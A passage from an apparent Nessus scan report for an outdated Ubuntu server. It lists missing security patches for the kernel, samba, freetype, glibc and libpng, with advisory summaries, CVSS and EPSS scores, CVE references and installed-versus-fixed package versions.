7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

## CVSS v2.0 Temporal Score

6.8 (CVSS2#E:ND/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 34205 |

| | |
|---|---|
| BID | 34405 |
| BID | 34453 |
| BID | 34612 |
| BID | 34654 |
| BID | 34673 |
| BID | 34934 |
| BID | 35143 |
| BID | 35185 |
| CVE | CVE-2009-1072 |
| CVE | CVE-2009-1184 |
| CVE | CVE-2009-1192 |
| CVE | CVE-2009-1242 |
| CVE | CVE-2009-1265 |
| CVE | CVE-2009-1336 |
| CVE | CVE-2009-1337 |
| CVE | CVE-2009-1338 |
| CVE | CVE-2009-1360 |
| CVE | CVE-2009-1385 |
| CVE | CVE-2009-1439 |
| CVE | CVE-2009-1630 |
| CVE | CVE-2009-1633 |
| CVE | CVE-2009-1914 |
| CVE | CVE-2009-1961 |
| XREF | USN:793-1 |
| XREF | CWE:16 |
| XREF | CWE:20 |
| XREF | CWE:119 |
| XREF | CWE:189 |
| XREF | CWE:264 |
| XREF | CWE:362 |

## Plugin Information

Published: 2009/07/02, Modified: 2021/01/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-24.55


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
```

```
need to update the kernel level in order to get the latest security
fixes available.
```

## 40416 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : linux, linux-source-2.6.15 vulnerabilities (USN-807-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Michael Tokarev discovered that the RTL8169 network driver did not correctly validate buffer sizes. A remote attacker on the local network could send specially crafted traffic that would crash the system or potentially grant elevated privileges. (CVE-2009-1389)

Julien Tinnes and Tavis Ormandy discovered that when executing setuid processes the kernel did not clear certain personality flags. A local attacker could exploit this to map the NULL memory page, causing other vulnerabilities to become exploitable. Ubuntu 6.06 was not affected.

(CVE-2009-1895)

Matt T. Yourst discovered that KVM did not correctly validate the page table root. A local attacker could exploit this to crash the system, leading to a denial of service. Ubuntu 6.06 was not affected.

(CVE-2009-2287)

Ramon de Carvalho Valle discovered that eCryptfs did not correctly validate certain buffer sizes. A local attacker could create specially crafted eCryptfs files to crash the system or gain elevated privileges. Ubuntu 6.06 was not affected. (CVE-2009-2406, CVE-2009-2407).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/807-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0552

### CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

### CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 35281 |
| BID | 35529 |
| BID | 35647 |
| CVE | CVE-2009-1389 |
| CVE | CVE-2009-1895 |
| CVE | CVE-2009-2287 |
| CVE | CVE-2009-2406 |
| CVE | CVE-2009-2407 |
| XREF | USN:807-1 |
| XREF | CWE:16 |
| XREF | CWE:20 |
| XREF | CWE:119 |

### Plugin Information

Published: 2009/07/29, Modified: 2021/01/19

### Plugin Output

tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-24.57


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 42209 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : linux, linux-source-2.6.15 vulnerabilities (USN-852-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Solar Designer discovered that the z90crypt driver did not correctly check capabilities. A local attacker could exploit this to shut down the device, leading to a denial of service. Only affected Ubuntu 6.06.

(CVE-2009-1883)

Michael Buesch discovered that the SGI GRU driver did not correctly check the length when setting options. A local attacker could exploit this to write to the kernel stack, leading to root privilege escalation or a denial of service. Only affected Ubuntu 8.10 and 9.04.

(CVE-2009-2584)

It was discovered that SELinux did not fully implement the mmap_min_addr restrictions. A local attacker could exploit this to allocate the NULL memory page which could lead to further attacks against kernel NULL-dereference vulnerabilities. Ubuntu 6.06 was not affected. (CVE-2009-2695)

Cagri Coltekin discovered that the UDP stack did not correctly handle certain flags. A local user could send specially crafted commands and traffic to gain root privileges or crash the systeam, leading to a denial of service. Only affected Ubuntu 6.06. (CVE-2009-2698)

Hiroshi Shimamoto discovered that monotonic timers did not correctly validate parameters. A local user could make a specially crafted timer request to gain root privileges or crash the system, leading to a denial of service. Only affected Ubuntu 9.04. (CVE-2009-2767)

Michael Buesch discovered that the HPPA ISA EEPROM driver did not correctly validate positions. A local user could make a specially crafted request to gain root privileges or crash the system, leading to a denial of service. (CVE-2009-2846)

Ulrich Drepper discovered that kernel signal stacks were not being correctly padded on 64-bit systems. A local attacker could send specially crafted calls to expose 4 bytes of kernel stack memory, leading to a loss of privacy. (CVE-2009-2847)

Jens Rosenboom discovered that the clone method did not correctly clear certain fields. A local attacker could exploit this to gain privileges or crash the system, leading to a denial of service.

(CVE-2009-2848)

It was discovered that the MD driver did not check certain sysfs files. A local attacker with write access to / sys could exploit this to cause a system crash, leading to a denial of service. Ubuntu 6.06 was not affected. (CVE-2009-2849)

Mark Smith discovered that the AppleTalk stack did not correctly manage memory. A remote attacker could send specially crafted traffic to cause the system to consume all available memory, leading to a denial of service. (CVE-2009-2903)

Loic Minier discovered that eCryptfs did not correctly handle writing to certain deleted files. A local attacker could exploit this to gain root privileges or crash the system, leading to a denial of service.

Ubuntu 6.06 was not affected. (CVE-2009-2908)

It was discovered that the LLC, AppleTalk, IR, EConet, Netrom, and ROSE network stacks did not correctly initialize their data structures. A local attacker could make specially crafted calls to read kernel memory, leading to a loss of privacy. (CVE-2009-3001, CVE-2009-3002)

It was discovered that the randomization used for Address Space Layout Randomization was predictable within a small window of time. A local attacker could exploit this to leverage further attacks that require knowledge of userspace memory layouts. (CVE-2009-3238)

Eric Paris discovered that NFSv4 did not correctly handle file creation failures. An attacker with write access to an NFSv4 share could exploit this to create files with arbitrary mode bits, leading to privilege escalation or a loss of privacy. (CVE-2009-3286)

Bob Tracy discovered that the SCSI generic driver did not correctly use the right index for array access. A local attacker with write access to a CDR could exploit this to crash the system, leading to a denial of service. Only Ubuntu 9.04 was affected. (CVE-2009-3288)

Jan Kiszka discovered that KVM did not correctly validate certain hypercalls. A local unprivileged attacker in a virtual guest could exploit this to crash the guest kernel, leading to a denial of service. Ubuntu 6.06 was not affected. (CVE-2009-3290).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/852-1/

## Solution

Update the affected packages.

## Risk Factor

High

## VPR Score

8.9

## EPSS Score

0.2687

## CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N)

## CVSS v2.0 Temporal Score

6.8 (CVSS2#E:H/RL:OF/RC:C)

References

| | |
|---|---|
| BID | 35930 |
| BID | 36004 |
| BID | 36108 |
| BID | 36176 |
| BID | 36379 |
| BID | 36472 |
| BID | 36512 |
| BID | 36639 |
| CVE | CVE-2009-1883 |
| CVE | CVE-2009-2584 |
| CVE | CVE-2009-2695 |
| CVE | CVE-2009-2698 |
| CVE | CVE-2009-2767 |
| CVE | CVE-2009-2846 |
| CVE | CVE-2009-2847 |
| CVE | CVE-2009-2848 |
| CVE | CVE-2009-2849 |
| CVE | CVE-2009-2903 |
| CVE | CVE-2009-2908 |
| CVE | CVE-2009-3001 |
| CVE | CVE-2009-3002 |
| CVE | CVE-2009-3238 |
| CVE | CVE-2009-3286 |
| CVE | CVE-2009-3288 |
| CVE | CVE-2009-3290 |
| XREF | USN:852-1 |
| XREF | CWE:119 |
| XREF | CWE:189 |
| XREF | CWE:200 |
| XREF | CWE:264 |
| XREF | CWE:310 |
| XREF | CWE:399 |

Exploitable With

Core Impact (true)

Plugin Information

Published: 2009/10/22, Modified: 2021/01/19

Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-25.63


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 40658 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : linux, linux-source-2.6.15 vulnerability (USN-819-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Tavis Ormandy and Julien Tinnes discovered that Linux did not correctly initialize certain socket operation function pointers. A local attacker could exploit this to gain root privileges. By default, Ubuntu 8.04 and later with a non-zero /proc/sys/vm/mmap_min_addr setting were not vulnerable.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/819-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

9.5

### EPSS Score

0.1851

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

6.3 (CVSS2#E:H/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 36038 |
| CVE | CVE-2009-2692 |

| | |
|---|---|
| XREF | USN:819-1 |
| XREF | CWE:119 |

### Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

### Plugin Information

Published: 2009/08/20, Modified: 2021/01/19

### Plugin Output

tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-24.59


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 41968 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : samba vulnerabilities (USN-839-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

J. David Hester discovered that Samba incorrectly handled users that lack home directories when the automated [homes] share is enabled. An authenticated user could connect to that share name and gain access to the whole filesystem. (CVE-2009-2813)

Tim Prouty discovered that the smbd daemon in Samba incorrectly handled certain unexpected network replies. A remote attacker could send malicious replies to the server and cause smbd to use all available CPU, leading to a denial of service. (CVE-2009-2906)

Ronald Volgers discovered that the mount.cifs utility, when installed as a setuid program, would not verify user permissions before opening a credentials file. A local user could exploit this to use or read the contents of unauthorized credential files. (CVE-2009-2948)

Reinhard Nissl discovered that the smbclient utility contained format string vulnerabilities in its file name handling. Because of security features in Ubuntu, exploitation of this vulnerability is limited. If a user or automated system were tricked into processing a specially crafted file name, smbclient could be made to crash, possibly leading to a denial of service. This only affected Ubuntu 8.10.

(CVE-2009-1886)

Jeremy Allison discovered that the smbd daemon in Samba incorrectly handled permissions to modify access control lists when dos filemode is enabled. A remote attacker could exploit this to modify access control lists. This only affected Ubuntu 8.10 and Ubuntu 9.04.

(CVE-2009-1886).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/839-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

EPSS Score

0.1994

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

References

| | |
|---|---|
| BID | 36363 |
| BID | 36572 |
| BID | 36573 |
| CVE | CVE-2009-1886 |
| CVE | CVE-2009-1888 |
| CVE | CVE-2009-2813 |
| CVE | CVE-2009-2906 |
| CVE | CVE-2009-2948 |
| XREF | USN:839-1 |
| XREF | CWE:134 |
| XREF | CWE:264 |

Plugin Information

Published: 2009/10/02, Modified: 2021/01/19

Plugin Output

tcp/0

```
  - Installed package : samba_3.0.20-0.1ubuntu1
  - Fixed package     : samba_3.0.28a-1ubuntu4.9

  - Installed package : samba-common_3.0.20-0.1ubuntu1
  - Fixed package     : samba-common_3.0.28a-1ubuntu4.9
```

## 48361 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : freetype vulnerabilities (USN-972-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that FreeType did not correctly handle certain malformed font files. If a user were tricked into using a specially crafted font file, a remote attacker could cause FreeType to crash or possibly execute arbitrary code with user privileges.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/972-1/

### Solution

Update the affected freetype2-demos, libfreetype6 and / or libfreetype6-dev packages.

### Risk Factor

High

### VPR Score

9.4

### EPSS Score

0.4844

### CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

8.1 (CVSS2#E:H/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 42241 |
| BID | 42285 |
| BID | 60740 |

| | |
|---|---|
| CVE | CVE-2010-1797 |
| CVE | CVE-2010-2541 |
| CVE | CVE-2010-2805 |
| CVE | CVE-2010-2806 |
| CVE | CVE-2010-2807 |
| CVE | CVE-2010-2808 |
| XREF | USN:972-1 |

## Exploitable With

CANVAS (true) Core Impact (true)

## Plugin Information

Published: 2010/08/18, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libfreetype6_2.3.5-1ubuntu4.8.04.2
  - Fixed package     : libfreetype6_2.3.5-1ubuntu4.8.04.4
```

## 46731 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : glibc, eglibc vulnerabilities (USN-944-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Maksymilian Arciemowicz discovered that the GNU C library did not correctly handle integer overflows in the strfmon function. If a user or automated system were tricked into processing a specially crafted format string, a remote attacker could crash applications, leading to a denial of service. (Ubuntu 10.04 was not affected.) (CVE-2008-1391)

Jeff Layton and Dan Rosenberg discovered that the GNU C library did not correctly handle newlines in the mntent family of functions. If a local attacker were able to inject newlines into a mount entry through other vulnerable mount helpers, they could disrupt the system or possibly gain root privileges. (CVE-2010-0296)

Dan Rosenberg discovered that the GNU C library did not correctly validate certain ELF program headers. If a user or automated system were tricked into verifying a specially crafted ELF program, a remote attacker could execute arbitrary code with user privileges.

(CVE-2010-0830).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/944-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.1875

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 36443 |
| BID | 40063 |
| CVE | CVE-2008-1391 |
| CVE | CVE-2009-4880 |
| CVE | CVE-2010-0296 |
| CVE | CVE-2010-0830 |
| XREF | USN:944-1 |
| XREF | CWE:189 |

## Plugin Information

Published: 2010/05/26, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libc6_2.7-10ubuntu5
  - Fixed package     : libc6_2.7-10ubuntu6

  - Installed package : libc6-dev_2.7-10ubuntu5
  - Fixed package     : libc6-dev_2.7-10ubuntu6

  - Installed package : libc6-i686_2.7-10ubuntu5
  - Fixed package     : libc6-i686_2.7-10ubuntu6
```

## 47695 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : libpng vulnerabilities (USN-960-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that libpng did not properly handle certain malformed PNG images. If a user or automated system were tricked into opening a crafted PNG file, an attacker could cause a denial of service or possibly execute arbitrary code with the privileges of the user invoking the program. (CVE-2010-1205)

It was discovered that libpng did not properly handle certain malformed PNG images. If a user or automated system were tricked into processing a crafted PNG image, an attacker could possibly use this flaw to consume all available resources, resulting in a denial of service. (CVE-2010-2249).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/960-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

7.4

### EPSS Score

0.2384

### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 41174 |
| CVE | CVE-2010-1205 |
| CVE | CVE-2010-2249 |
| XREF | USN:960-1 |

## Plugin Information

Published: 2010/07/09, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : libpng12-0_1.2.15~beta5-3ubuntu0.2
  - Fixed package     : libpng12-0_1.2.15~beta5-3ubuntu0.3

```

## 46810 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : linux, linux-source-2.6.15 vulnerabilities (USN-947-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the Linux kernel did not correctly handle memory protection of the Virtual Dynamic Shared Object page when running a 32-bit application on a 64-bit kernel. A local attacker could exploit this to cause a denial of service. (Only affected Ubuntu 6.06 LTS.) (CVE-2009-4271)

It was discovered that the r8169 network driver did not correctly check the size of Ethernet frames. A remote attacker could send specially crafted traffic to crash the system, leading to a denial of service. (CVE-2009-4537)

Wei Yongjun discovered that SCTP did not correctly validate certain chunks. A remote attacker could send specially crafted traffic to monopolize CPU resources, leading to a denial of service. (Only affected Ubuntu 6.06 LTS.) (CVE-2010-0008)

It was discovered that KVM did not correctly limit certain privileged IO accesses on x86. Processes in the guest OS with access to IO regions could gain further privileges within the guest OS. (Did not affect Ubuntu 6.06 LTS.) (CVE-2010-0298, CVE-2010-0306, CVE-2010-0419)

Evgeniy Polyakov discovered that IPv6 did not correctly handle certain TUN packets. A remote attacker could exploit this to crash the system, leading to a denial of service. (Only affected Ubuntu 8.04 LTS.) (CVE-2010-0437)

Sachin Prabhu discovered that GFS2 did not correctly handle certain locks. A local attacker with write access to a GFS2 filesystem could exploit this to crash the system, leading to a denial of service.

(CVE-2010-0727)

Jamie Strandboge discovered that network virtio in KVM did not correctly handle certain high-traffic conditions. A remote attacker could exploit this by sending specially crafted traffic to a guest OS, causing the guest to crash, leading to a denial of service. (Only affected Ubuntu 8.04 LTS.) (CVE-2010-0741)

Marcus Meissner discovered that the USB subsystem did not correctly handle certain error conditions. A local attacker with access to a USB device could exploit this to read recently used kernel memory, leading to a loss of privacy and potentially root privilege escalation.

(CVE-2010-1083)

Neil Brown discovered that the Bluetooth subsystem did not correctly handle large amounts of traffic. A physically proximate remote attacker could exploit this by sending specially crafted traffic that would consume all available system memory, leading to a denial of service. (Ubuntu 6.06 LTS and 10.04 LTS were not affected.) (CVE-2010-1084)

Jody Bruchon discovered that the sound driver for the AMD780V did not correctly handle certain conditions. A local attacker with access to this hardward could exploit the flaw to cause a system crash, leading to a denial of service. (CVE-2010-1085)

Ang Way Chuang discovered that the DVB driver did not correctly handle certain MPEG2-TS frames. An attacker could exploit this by delivering specially crafted frames to monopolize CPU resources, leading to a denial of service. (Ubuntu 10.04 LTS was not affected.) (CVE-2010-1086)

Trond Myklebust discovered that NFS did not correctly handle truncation under certain conditions. A local attacker with write access to an NFS share could exploit this to crash the system, leading to a denial of service. (Ubuntu 10.04 LTS was not affected.) (CVE-2010-1087)

Al Viro discovered that automount of NFS did not correctly handle symlinks under certain conditions. A local attacker could exploit this to crash the system, leading to a denial of service. (Ubuntu 6.06 LTS and Ubuntu 10.04 LTS were not affected.) (CVE-2010-1088)

Matt McCutchen discovered that ReiserFS did not correctly protect xattr files in the .reiserfs_priv directory. A local attacker could exploit this to gain root privileges or crash the system, leading to a denial of service. (CVE-2010-1146)

Eugene Teo discovered that CIFS did not correctly validate arguments when creating new files. A local attacker could exploit this to crash the system, leading to a denial of service, or possibly gain root privileges if mmap_min_addr was not set. (CVE-2010-1148)

Catalin Marinas and Tetsuo Handa discovered that the TTY layer did not correctly release process IDs. A local attacker could exploit this to consume kernel resources, leading to a denial of service.

(CVE-2010-1162)

Neil Horman discovered that TIPC did not correctly check its internal state. A local attacker could send specially crafted packets via AF_TIPC that would cause the system to crash, leading to a denial of service. (Ubuntu 6.06 LTS was not affected.) (CVE-2010-1187)

Masayuki Nakagawa discovered that IPv6 did not correctly handle certain settings when listening. If a socket were listening with the IPV6_RECVPKTINFO flag, a remote attacker could send specially crafted traffic that would cause the system to crash, leading to a denial of service. (Only Ubuntu 6.06 LTS was affected.) (CVE-2010-1188)

Oleg Nesterov discovered that the Out-Of-Memory handler did not correctly handle certain arrangements of processes. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2010-1488).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/947-1/

## Solution

Update the affected packages.

## Risk Factor

High

## VPR Score

7.3

EPSS Score

0.0415

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

References

| | |
|---|---|
| BID | 37521 |
| BID | 38185 |
| BID | 38348 |
| BID | 38479 |
| BID | 38857 |
| BID | 38858 |
| BID | 38898 |
| BID | 39016 |
| BID | 39042 |
| BID | 39044 |
| BID | 39101 |
| BID | 39120 |
| BID | 39186 |
| BID | 39344 |
| BID | 39480 |
| BID | 39569 |
| CVE | CVE-2009-4271 |
| CVE | CVE-2009-4537 |
| CVE | CVE-2010-0008 |
| CVE | CVE-2010-0298 |
| CVE | CVE-2010-0306 |
| CVE | CVE-2010-0419 |
| CVE | CVE-2010-0437 |
| CVE | CVE-2010-0727 |
| CVE | CVE-2010-0741 |
| CVE | CVE-2010-1083 |
| CVE | CVE-2010-1084 |
| CVE | CVE-2010-1085 |
| CVE | CVE-2010-1086 |
| CVE | CVE-2010-1087 |
| CVE | CVE-2010-1088 |

| | |
|---|---|
| CVE | CVE-2010-1146 |
| CVE | CVE-2010-1148 |
| CVE | CVE-2010-1162 |
| CVE | CVE-2010-1187 |
| CVE | CVE-2010-1188 |
| CVE | CVE-2010-1488 |
| XREF | USN:947-1 |
| XREF | CWE:20 |
| XREF | CWE:264 |

## Plugin Information

Published: 2010/06/04, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-28.70

  - Installed package : linux-libc-dev_2.6.24-27.68
  - Fixed package     : linux-libc-dev_2.6.24-28.70


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 49283 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : linux, linux-source-2.6.15 vulnerabilities (USN-988-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Ben Hawkes discovered that the Linux kernel did not correctly validate memory ranges on 64bit kernels when allocating memory on behalf of 32bit system calls. On a 64bit system, a local attacker could perform malicious multicast getsockopt calls to gain root privileges.

(CVE-2010-3081)

Ben Hawkes discovered that the Linux kernel did not correctly filter registers on 64bit kernels when performing 32bit system calls. On a 64bit system, a local attacker could manipulate 32bit system calls to gain root privileges. (Ubuntu 6.06 LTS and 8.04 LTS were not affected.) (CVE-2010-3301).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/988-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

9.6

### EPSS Score

0.1475

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2010-3081 |

| | |
|---|---|
| CVE | CVE-2010-3301 |
| XREF | USN:988-1 |

## Exploitable With

Core Impact (true)

## Plugin Information

Published: 2010/09/20, Modified: 2019/09/19

## Plugin Output

tcp/0

```

    - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
    - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-28.79

    - Installed package : linux-libc-dev_2.6.24-27.68
    - Fixed package     : linux-libc-dev_2.6.24-28.79


  Because Debian/Ubuntu linux packages increment their package name numbers as
  well as their version numbers, an update may not be available for the
  current kernel level, but the package will still be vulnerable. You may
  need to update the kernel level in order to get the latest security
  fixes available.
```

## 48381 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : linux, linux-{ec2,fsl-imx51,mvl-dove,source-2.6.15,ti-omap} vulnerabilities (USN-974-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Gael Delalleu, Rafal Wojtczuk, and Brad Spengler discovered that the memory manager did not properly handle when applications grow stacks into adjacent memory regions. A local attacker could exploit this to gain control of certain applications, potentially leading to privilege escalation, as demonstrated in attacks against the X server.

(CVE-2010-2240)

Kees Cook discovered that under certain situations the ioctl subsystem for DRM did not properly sanitize its arguments. A local attacker could exploit this to read previously freed kernel memory, leading to a loss of privacy. (CVE-2010-2803)

Ben Hawkes discovered an integer overflow in the Controller Area Network (CAN) subsystem when setting up frame content and filtering certain messages. An attacker could send specially crafted CAN traffic to crash the system or gain root privileges. (CVE-2010-2959).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/974-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

8.9

### EPSS Score

0.0019

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 42505 |
| BID | 42577 |
| CVE | CVE-2010-2240 |
| CVE | CVE-2010-2803 |
| CVE | CVE-2010-2959 |
| XREF | USN:974-1 |

### Plugin Information

Published: 2010/08/20, Modified: 2019/09/19

### Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-28.75

  - Installed package : linux-libc-dev_2.6.24-27.68
  - Fixed package     : linux-libc-dev_2.6.24-28.75


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 48253 - Ubuntu 6.06 LTS / 8.04 LTS / 9.04 / 9.10 / 10.04 LTS : linux, linux-{source-2.6.15,ec2,mvl-dove,ti-omap} vulnerabilities (USN-966-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Junjiro R. Okajima discovered that knfsd did not correctly handle strict overcommit. A local attacker could exploit this to crash knfsd, leading to a denial of service. (Only Ubuntu 6.06 LTS and 8.04 LTS were affected.) (CVE-2008-7256, CVE-2010-1643)

Chris Guo, Jukka Taimisto, and Olli Jarva discovered that SCTP did not correctly handle invalid parameters. A remote attacker could send specially crafted traffic that could crash the system, leading to a denial of service. (CVE-2010-1173)

Mario Mikocevic discovered that GFS2 did not correctly handle certain quota structures. A local attacker could exploit this to crash the system, leading to a denial of service. (Ubuntu 6.06 LTS was not affected.) (CVE-2010-1436)

Toshiyuki Okajima discovered that the kernel keyring did not correctly handle dead keyrings. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2010-1437)

Brad Spengler discovered that Sparc did not correctly implement non-executable stacks. This made userspace applications vulnerable to exploits that would have been otherwise blocked due to non-executable memory protections. (Ubuntu 10.04 LTS was not affected.) (CVE-2010-1451)

Dan Rosenberg discovered that the btrfs clone function did not correctly validate permissions. A local attacker could exploit this to read sensitive information, leading to a loss of privacy. (Only Ubuntu 9.10 was affected.) (CVE-2010-1636)

Dan Rosenberg discovered that GFS2 set_flags function did not correctly validate permissions. A local attacker could exploit this to gain access to files, leading to a loss of privacy and potential privilege escalation. (Ubuntu 6.06 LTS was not affected.) (CVE-2010-1641)

Shi Weihua discovered that btrfs xattr_set_acl function did not correctly validate permissions. A local attacker could exploit this to gain access to files, leading to a loss of privacy and potential privilege escalation. (Only Ubuntu 9.10 and 10.04 LTS were affected.) (CVE-2010-2071)

Andre Osterhues discovered that eCryptfs did not correctly calculate hash values. A local attacker with certain uids could exploit this to crash the system or potentially gain root privileges. (Ubuntu 6.06 LTS was not affected.) (CVE-2010-2492).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/966-1/

### Solution

Update the affected packages.

## Risk Factor

High

## VPR Score

8.5

## EPSS Score

0.1143

## CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

